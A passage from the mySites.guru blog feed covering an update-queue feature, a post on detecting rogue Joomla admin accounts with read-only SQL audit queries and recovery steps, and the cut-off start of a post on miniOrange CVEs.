&lt;h3&gt;It does not make the updates themselves any faster or slower&lt;/h3&gt;
&lt;p&gt;Each update takes exactly as long as it always did. The only thing that changes is how many of them are allowed to happen at once.&lt;/p&gt;
&lt;h3&gt;It is not a substitute for backups&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;Backups&lt;/a&gt; still matter. Queued updates are still updates. Take a backup first, the same as you would if you were applying them one at a time by hand, which in effect is now what is happening. A queue for backups is in planning too, built the same way and for the same reasons: firing every backup on one server at once is the other reliable way to flatten it.&lt;/p&gt;
&lt;h2&gt;Seeing what actually happened&lt;/h2&gt;
&lt;p&gt;The queue tells you what is running now. The &lt;strong&gt;Update Log&lt;/strong&gt; tells you what happened, and we have rebuilt it at the same time.&lt;/p&gt;
&lt;p&gt;It lists the last 500 updates applied across your sites, newest first, whether you triggered them yourself or mySites.guru applied them overnight. Each row shows the site, the extension and the version it went to, when it ran, and whether it finished or errored.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/updates/scheduled&quot;&gt;&lt;img alt=&quot;The revamped Update Log in mySites.guru. A filter box sits above a list of recent updates, each row showing the site, the extension and version applied, how long ago it ran, and a status badge. Rows applied seven minutes ago show a red Error badge against Better Search Replace v1.4.11 across many sites, while older rows from five days ago show green Done badges for Jetpack, Imagify and other plugins. An Export CSV button sits at the top right.&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1584px) 1584px, 100vw&quot; width=&quot;1584&quot; height=&quot;1546&quot; src=&quot;https://mysites.guru/_astro/update-log-revamped.Bo6pKMKn_Z1UQDaM.webp&quot; srcset=&quot;https://mysites.guru/_astro/update-log-revamped.Bo6pKMKn_2lIIAc.webp 640w, https://mysites.guru/_astro/update-log-revamped.Bo6pKMKn_tvE2w.webp 750w, https://mysites.guru/_astro/update-log-revamped.Bo6pKMKn_mjH2W.webp 828w, https://mysites.guru/_astro/update-log-revamped.Bo6pKMKn_1UmAaY.webp 1080w, https://mysites.guru/_astro/update-log-revamped.Bo6pKMKn_Z2uQaBW.webp 1280w, https://mysites.guru/_astro/update-log-revamped.Bo6pKMKn_Z1UQDaM.webp 1584w&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The filter matches on any part of a site URL, an extension name or a status, so “Error” pulls up every failure in one go. Check it the morning after a big batch. Updates you triggered do not always take, and this is where you find out which ones did. There is an Export CSV button if you need the list somewhere else.&lt;/p&gt;
&lt;p&gt;It is at &lt;a href=&quot;https://manage.mysites.guru/en/updates/scheduled&quot;&gt;manage.mysites.guru/en/updates/scheduled&lt;/a&gt;, and unlike the queue it needs no opting in. It has always been recording; it is just far easier to read now.&lt;/p&gt;
&lt;h2&gt;Who should turn this on&lt;/h2&gt;
&lt;p&gt;Turn it on if a meaningful number of your sites share a server, and especially if you have ever had a mass update coincide with a site or a server going down. If you are on shared hosting or a reseller plan with a lot of sites on one box, this is aimed squarely at you.&lt;/p&gt;
&lt;p&gt;Leave it off if you have a small number of sites, or if your estate is spread thinly across many hosts. You would only be adding a wait.&lt;/p&gt;
&lt;p&gt;If you are not sure which describes you, the &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;Servers view&lt;/a&gt; groups your connected sites by the server they are on, which answers the question in about ten seconds. If one server has a long list under it, you are the person this was built for.&lt;/p&gt;
&lt;p&gt;You can also just try it. It is a toggle, it applies immediately, and switching it back is one click. Run one mass update with it on and see whether the wait bothers you more than the risk did.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Thanks&lt;/p&gt;
  &lt;p&gt;A special thank you to &lt;strong&gt;Adi&lt;/strong&gt;, who has been on my case about this one for a long time and was right to keep pushing. It turned out to touch a lot of layers in mySites.guru, from the dashboard and the API through to the background workers and the database lock that makes the per-server lanes safe, and that is why it took as long as it did to get right rather than only working.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;How to mass upgrade Joomla and WordPress sites from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress and WordPress plugins from mySites.guru&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/&quot;&gt;How to enable Joomla extension auto updates&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/Updating_from_an_existing_version&quot;&gt;Updating Joomla&lt;/a&gt; in the official Joomla documentation&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/upgrade/&quot;&gt;Updating WordPress&lt;/a&gt; in the WordPress developer handbook&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>updates</category><category>joomla</category><category>wordpress</category><category>hosting</category><category>server</category><category>queue</category><category>maintenance</category><enclosure url="https://mysites.guru/img/og/blog/update-queue-one-at-a-time-per-server.png" length="0" type="image/png"/></item><item><title>Finding Rogue Admin Accounts Across Every Joomla Site You Manage</title><link>https://mysites.guru/blog/find-rogue-admin-accounts-joomla/</link><guid isPermaLink="true">https://mysites.guru/blog/find-rogue-admin-accounts-joomla/</guid><description>Attackers plant admin accounts to walk back in after you clean the files. How to find rogue admins across every Joomla site you manage, from one screen.</description><pubDate>Mon, 24 Aug 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The vulnerability gets patched. The webshell gets deleted. A week later the site is hacked again, and everyone stands around wondering how, because the hole is definitely closed.&lt;/p&gt;
&lt;p&gt;The answer is usually sitting in the user table, which is why &lt;a href=&quot;https://mysites.guru/tools/hacked-site-detection/rogue-super-admin-accounts/&quot;&gt;rogue Super Admin accounts&lt;/a&gt; are one of the checks we run on every connected site. During the original compromise the attacker created an account for themselves, and that account is still there despite everything you did afterwards. They do not need the exploit any more, or the backdoor, or the file you deleted. They have a login. MITRE ATT&amp;amp;CK catalogues this as &lt;a href=&quot;https://attack.mitre.org/techniques/T1136/&quot;&gt;T1136, Create Account&lt;/a&gt;, and it is the highest-value thing an attacker does on the way in.&lt;/p&gt;
&lt;p&gt;Finding those accounts is easy on one site and close to impossible on eighty. mySites.guru now runs the check for you on every connected Joomla site.&lt;/p&gt;
&lt;h2&gt;How Do I Find Rogue Admin Accounts Across Every Joomla Site?&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;Rogue Super Admin Accounts&lt;/strong&gt; check runs on every connected Joomla site as part of the regular snapshot, with no configuration and nothing to install. It reads the site’s user tables, resolves which groups actually hold Super User permissions on that specific site rather than assuming the stock group, and matches every account against a set of attacker identity rules.&lt;/p&gt;
&lt;p&gt;A site that fails this check is marked as hacked in your dashboard automatically. You do not have to go looking.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;See which of your Joomla sites have planted accounts&lt;/p&gt;
  &lt;p&gt;The Compare All Sites view lists every connected Joomla site with a pass or fail for this check, so you find all of them at once instead of one nasty surprise at a time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;Open the Rogue Super Admin check&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Not a subscriber? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on one site and the check runs on the first snapshot.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Click into any flagged site and you get the accounts themselves: ID, username, name, email, when it was registered, and a plain-English reason each one was flagged. There is a delete button that removes all of them from the site in one action.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Rogue Super Admin Accounts check on a Joomla site, showing a red &amp;quot;This site has rogue admin accounts&amp;quot; warning above a table of two flagged accounts. The first, rogueadmin_fixture, is a Super Admin registered in June. The second, admin_mori, was registered in July and is marked &amp;quot;not currently a Super User&amp;quot;. Each row gives the reason it was flagged, and a Delete all rogue accounts button sits below the table&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;1291&quot; src=&quot;https://mysites.guru/_astro/rogue-admin-accounts-flagged.BamlnKEA_ZWGdJQ.webp&quot; srcset=&quot;https://mysites.guru/_astro/rogue-admin-accounts-flagged.BamlnKEA_baJmQ.webp 640w, https://mysites.guru/_astro/rogue-admin-accounts-flagged.BamlnKEA_Z2jOBa5.webp 750w, https://mysites.guru/_astro/rogue-admin-accounts-flagged.BamlnKEA_2eMFPe.webp 828w, https://mysites.guru/_astro/rogue-admin-accounts-flagged.BamlnKEA_Z1kDRTF.webp 1080w, https://mysites.guru/_astro/rogue-admin-accounts-flagged.BamlnKEA_22Ru98.webp 1280w, https://mysites.guru/_astro/rogue-admin-accounts-flagged.BamlnKEA_ZWGdJQ.webp 1600w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Two accounts, planted a month apart, on a site otherwise running a current Joomla. The first holds Super User. The second is the more instructive of the pair: it is flagged as &lt;em&gt;not currently a Super User&lt;/em&gt;, because it matched a known attacker signature while sitting in an ordinary user group. No amount of filtering the Super Users list would ever have surfaced it.&lt;/p&gt;
&lt;p&gt;Deletion is permanent and we keep no backup of the removed rows, so if you want anything for evidence, record it before you click. Every account is re-checked against the detection rules on the site itself immediately before it is deleted, so a page you left open yesterday cannot remove a user who is fine today.&lt;/p&gt;
&lt;h2&gt;What the Check Is Currently Holding&lt;/h2&gt;
&lt;p&gt;None of what follows is visible from a single site.&lt;/p&gt;
&lt;p&gt;As of today, across the Joomla sites we manage, this check is flagging &lt;strong&gt;827 planted accounts sitting on 20 different sites&lt;/strong&gt;. The distribution is the interesting bit:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Accounts on the site&lt;/th&gt;&lt;th&gt;Number of sites&lt;/th&gt;&lt;th&gt;Total accounts&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Over 20&lt;/td&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;814&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2 to 5&lt;/td&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Exactly 1&lt;/td&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;9&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Ten sites account for 814 of the 827 between them. That is what a mass registration looks like, and it is the version you would notice on your own, because the user count jumps and the notification emails pile up. &lt;a href=&quot;https://owasp.github.io/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-019_Account_Creation&quot;&gt;OWASP catalogues the bulk version as OAT-019, Account Creation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Nine of the twenty affected sites have exactly one planted account, sitting in a user list alongside real users, created on an ordinary day. No one notices that. It is not noisy enough to trigger anything, and it is the one that gets the site re-hacked in a month, because it is still a working login long after the cleanup is declared finished.&lt;/p&gt;
&lt;p&gt;The loud compromises find themselves. The quiet ones are the reason this check has to run on every site, all the time, rather than on the site you already suspect.&lt;/p&gt;
&lt;h2&gt;Why Checking Your Joomla Super Users Misses Them&lt;/h2&gt;
&lt;p&gt;Every article about hacked sites tells you to open your user manager, filter to administrators, and delete anything you do not recognise. It is sensible advice, and on its own it would miss most of what we find.&lt;/p&gt;
&lt;p&gt;When an attacker plants an account, it takes two steps: create the user row, then map that user into a group with Super User permissions. &lt;strong&gt;The second step fails a lot.&lt;/strong&gt; The exploit runs out of privileges, the group mapping is written wrong, the site’s permission setup is not what the payload assumed, or the code simply crashes between the two. The account still exists. It just is not an administrator.&lt;/p&gt;
&lt;p&gt;So it sits in whatever group new registrations get by default, indistinguishable from a real signup, and completely absent from the Super Users list you were told to check. Dormant is not the same as harmless. It is a valid credential the attacker holds, on a site they have already proved they can reach, and privilege escalation is a much easier second visit than the original break-in was.&lt;/p&gt;
&lt;p&gt;Our check matches identity shape in &lt;strong&gt;any user group&lt;/strong&gt;, not just Super Users, for this exact reason. That is why the second row in the screenshot above is labelled “not currently a Super User” rather than being excluded. The word doing the work there is &lt;em&gt;currently&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;How the Check Decides an Account Is Rogue&lt;/h2&gt;
&lt;p&gt;We are not going to print the matching rules verbatim, because the people running these campaigns read security blogs too and renaming their accounts is a five-minute job. By class, there are three:&lt;/p&gt;
&lt;h3&gt;Known attacker identities&lt;/h3&gt;
&lt;p&gt;Specific email addresses and usernames we have pulled out of real compromised sites during incident work. When a campaign reuses the same mailbox across hundreds of victims, and they usually do, a literal match is the most reliable signal available. This class matches in any user group, and it is what caught both accounts in the screenshot above.&lt;/p&gt;
&lt;h3&gt;Generated identity shapes&lt;/h3&gt;
&lt;p&gt;Automated tooling generates its names, and every generator leaves a fingerprint. A fixed prefix followed by a run of hex characters, or a username duplicated into the local part of a throwaway domain, is a shape no human picks and no legitimate registration produces. Matching the shape rather than the string means the campaign has to change its generator, not just its mailbox.&lt;/p&gt;
&lt;h3&gt;Accounts with no valid registration date&lt;/h3&gt;
&lt;p&gt;A Joomla account created through Joomla always gets a registration timestamp. An account written straight into the database by an exploit frequently does not. This one is reported as a warning rather than a confirmed hit, it is not counted in the rogue total, and there is no bulk delete for it, because a database migration or a CLI import can produce the same result innocently. You get told, you look, you decide.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note: ordinary spam signups are excluded on purpose&lt;/p&gt;
  &lt;p&gt;A hit here marks the whole site as hacked, which is a serious claim, so the check ignores the everyday bot registrations that turn up on any site with an open signup form. Those are covered separately by the unactivated users check. A rogue admin result means we believe someone got in, not that your registration form is busy.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Where These Accounts Come From&lt;/h2&gt;
&lt;p&gt;Rogue accounts are the second half of a compromise, so every one of them started as something else. The recurring pattern across the incidents we have worked this year is a file upload or privilege escalation in a third-party Joomla extension, followed within minutes by an account being created.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt; is the clearest example we have documented, because we traced it through real access logs: the upload request, the fetch of the planted shell, and a new Super User appearing in the site, in sequence. That incident is what this check was originally built for. The &lt;a href=&quot;https://mysites.guru/blog/gridbox-critical-authentication-bypass/&quot;&gt;Gridbox authentication bypass&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/gridbox-23-critical-vulnerabilities/&quot;&gt;23 further Gridbox vulnerabilities&lt;/a&gt; we found afterwards include a registration flaw that puts a visitor into whatever group they ask for, which produces exactly the mass-registration pattern in the table above.&lt;/p&gt;
&lt;p&gt;Joomla core has produced them too. &lt;a href=&quot;https://developer.joomla.org/security-centre/1046-20260514-core-privilege-escalation-through-com-users-webservice-endpoints.html&quot;&gt;CVE-2026-48904&lt;/a&gt;, patched in &lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-6-and-6-1-1-patch-ten-security-issues/&quot;&gt;Joomla 5.4.6 and 6.1.1&lt;/a&gt;, let an unauthenticated attacker manipulate group membership through the &lt;code&gt;com_users&lt;/code&gt; webservice endpoints and grant themselves Super User. &lt;a href=&quot;https://developer.joomla.org/security-centre/1082-20260902-core-unauthorized-user-account-creation-via-profile-save-controller.html&quot;&gt;CVE-2026-90907&lt;/a&gt;, fixed in Joomla 5.4.9 and 6.1.4, is a milder case: an anonymous visitor could create Guest-group accounts through the profile save task even with registration switched off. Those accounts are not admins, but they are accounts nobody approved, so they belong in the same review (&lt;a href=&quot;https://mysites.guru/blog/joomla-5-4-9-and-6-1-4-security-release/&quot;&gt;details in the 5.4.9 and 6.1.4 write-up&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The vector changes every few weeks. The thing the attacker does next does not, which is why detecting the account is more durable than chasing each individual flaw.&lt;/p&gt;
&lt;h2&gt;How Do I Check a Joomla Site by Hand?&lt;/h2&gt;
&lt;p&gt;If you want to check a single site yourself, or you want to verify what we are reporting, three queries in phpMyAdmin will do it. Replace &lt;code&gt;#__&lt;/code&gt; with your site’s real table prefix.&lt;/p&gt;
&lt;p&gt;Every account holding Super User permissions, newest first:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;username&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;email&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;registerDate&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;lastvisitDate&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;#__users&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; AS&lt;/span&gt;&lt;span&gt; u&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;JOIN&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;#__user_usergroup_map&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;span&gt; AS&lt;/span&gt;&lt;span&gt; m &lt;/span&gt;&lt;span&gt;ON&lt;/span&gt;&lt;span&gt; m&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;user_id&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; m&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;group_id&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; 8&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; u&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;registerDate&lt;/span&gt;&lt;span&gt; DESC&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Group 8 is Super Users in a stock Joomla install. If your site has custom groups with administrative permissions, that query will miss them, which is one of the things the automated check handles for you by reading the site’s actual permission rules instead of assuming.&lt;/p&gt;
&lt;p&gt;Accounts with no valid registration date, which should be none:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; id, username, email, registerDate&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;#__users&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;WHERE&lt;/span&gt;&lt;span&gt; registerDate &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;0000-00-00 00:00:00&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; OR&lt;/span&gt;&lt;span&gt; registerDate &lt;/span&gt;&lt;span&gt;IS&lt;/span&gt;&lt;span&gt; NULL&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the one people never think to run, registrations grouped by day:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;SELECT&lt;/span&gt;&lt;span&gt; DATE&lt;/span&gt;&lt;span&gt;(registerDate) &lt;/span&gt;&lt;span&gt;AS&lt;/span&gt;&lt;span&gt; day&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;COUNT&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;AS&lt;/span&gt;&lt;span&gt; accounts&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;FROM&lt;/span&gt;&lt;span&gt; `&lt;/span&gt;&lt;span&gt;#__users&lt;/span&gt;&lt;span&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;GROUP BY&lt;/span&gt;&lt;span&gt; DATE&lt;/span&gt;&lt;span&gt;(registerDate)&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;ORDER BY&lt;/span&gt;&lt;span&gt; day&lt;/span&gt;&lt;span&gt; DESC&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;LIMIT&lt;/span&gt;&lt;span&gt; 30&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A mass compromise is a spike. If a site that normally gets two signups a week shows ninety on a single Monday, you have your date, and now you know exactly which window of your access logs to read. That query takes two seconds and has found more compromises for me than any amount of scrolling through a user list.&lt;/p&gt;
&lt;p&gt;One timing trap worth knowing: Joomla writes the registration timestamp in the site’s own timezone from &lt;code&gt;configuration.php&lt;/code&gt;, while your access logs are almost certainly UTC. Convert before you go looking, or you will search the wrong hour, find nothing, and conclude the logs are clean.&lt;/p&gt;
&lt;h2&gt;What Should I Do If I Find One?&lt;/h2&gt;
&lt;p&gt;Treat it as proof of compromise, not as a tidying job. The account is evidence that someone had enough access to write to your database, and they did not stop there.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Record it first.&lt;/strong&gt; Username, email, registration date, last visit. Deletion is permanent and there is no undo, so capture what you need before you remove anything.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete the account&lt;/strong&gt;, from &lt;a href=&quot;https://mysites.guru/blog/manage-users-across-every-joomla-and-wordpress-site/&quot;&gt;the mySites.guru user manager for that site&lt;/a&gt; or from the Joomla user manager. Removing the row closes that door.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Find the entry point.&lt;/strong&gt; Use the registration date to narrow your access logs, then look at what was being requested around that timestamp. Our guide to &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors&lt;/a&gt; covers what to sweep for.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patch what let them in.&lt;/strong&gt; Usually an out-of-date third-party extension. Your mySites.guru extension inventory will tell you which ones on that site are on a version with a known flaw.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rotate everything.&lt;/strong&gt; Joomla admin passwords, database credentials, FTP and SSH keys, and the Joomla secret. Force-logout every session, and &lt;a href=&quot;https://mysites.guru/blog/how-to-revoke-joomla-api-tokens-after-a-hack/&quot;&gt;revoke every Joomla API token&lt;/a&gt; too, since a password reset does not touch those.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clean the whole site&lt;/strong&gt;, not the one folder you found something in. Someone who got in through one component usually leaves a second way back. Our &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;hacked site recovery guide&lt;/a&gt; walks through the full process, and if you would rather hand it over, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is a single fixed fee of £120 per incident, usually same day.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;The part people skip&lt;/p&gt;
    &lt;p&gt;A patched site with a planted account on it is still fully compromised.&lt;/p&gt;
    &lt;p&gt;The attacker does not need the vulnerability any more. They have a login, and it works exactly like yours does.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Why This Runs on Every Site Instead of the One You Suspect&lt;/h2&gt;
&lt;p&gt;The honest reason we built this as an account-wide check rather than a per-site tool is that no one audits a site they think is fine.&lt;/p&gt;
&lt;p&gt;You check the site the client phoned about. You do not check the other seventy-nine, because there is no reason to and no time for it. The compromise that matters is the one on a site no one has mentioned, holding one extra account, waiting for whoever planted it to come back. Nine of the twenty sites in our numbers above are in exactly that state, and not one of them was found because somebody went looking.&lt;/p&gt;
&lt;p&gt;That is the whole argument for running the check everywhere, automatically, and marking the site as hacked when it fires. It costs you nothing to have it run on a site that turns out to be clean.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla extension flaw breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the check running across your own sites? &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Connect them to mySites.guru&lt;/a&gt; and it runs on the first snapshot (see &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshot vs audit&lt;/a&gt; for what a snapshot reads and what only an audit can), alongside the extension inventory, the file integrity scan and the rest of the audit.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1136/&quot;&gt;MITRE ATT&amp;amp;CK T1136: Create Account&lt;/a&gt; - the formal classification for account creation as a persistence technique.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2025/09/hidden-wordpress-backdoors-creating-admin-accounts.html&quot;&gt;Sucuri: Hidden WordPress Backdoors Creating Admin Accounts&lt;/a&gt; - the WordPress equivalent, including malware that filters its own account out of the user list.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-019_Account_Creation&quot;&gt;OWASP OAT-019: Account Creation&lt;/a&gt; - the automated threat handbook entry covering bulk sign-up abuse.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1046-20260514-core-privilege-escalation-through-com-users-webservice-endpoints.html&quot;&gt;Joomla Security Centre: CVE-2026-48904&lt;/a&gt; - the core privilege escalation through &lt;code&gt;com_users&lt;/code&gt; webservices, fixed in 5.4.6 and 6.1.1.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/reinfected-check-every-crontab-not-just-yours/&quot;&gt;Reinfected? Check every crontab, not just yours&lt;/a&gt; - the other persistence mechanism that is still there after a file cleanup.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>hacked</category><category>rogue admins</category><category>malware</category><category>hack detection</category><enclosure url="https://mysites.guru/img/og/blog/find-rogue-admin-accounts-joomla.png" length="0" type="image/png"/></item><item><title>Three CVEs in miniOrange Extensions for Joomla, All Now Fixed</title><link>https://mysites.guru/blog/miniorange-oauth-joomla-account-takeover/</link><guid isPermaLink="true">https://mysites.guru/blog/miniorange-oauth-joomla-account-takeover/</guid><description>Two CVSS 10.0 authentication bypasses and a remote uninstall flaw naming 23 extensions. Every affected free edition now has a fixed version, released 31 August.</description><pubDate>Mon, 24 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;Update, 4 September 2026: a third record, and the earlier complaint is resolved&lt;/p&gt;&lt;div&gt;&lt;p&gt;This post now covers three CVEs against the same vendor. &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77995/&quot;&gt;CVE-2026-77995&lt;/a&gt;&lt;/strong&gt; in the miniOrange OAuth Client and &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-77998/&quot;&gt;CVE-2026-77998&lt;/a&gt;&lt;/strong&gt; in miniOrange SAML SSO for Joomla are both authentication bypasses at CVSS 10.0, and the SAML one is &lt;a href=&quot;#it-is-already-being-used-on-wordpress&quot;&gt;already being exploited&lt;/a&gt; in the vendor’s WordPress plugin.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a 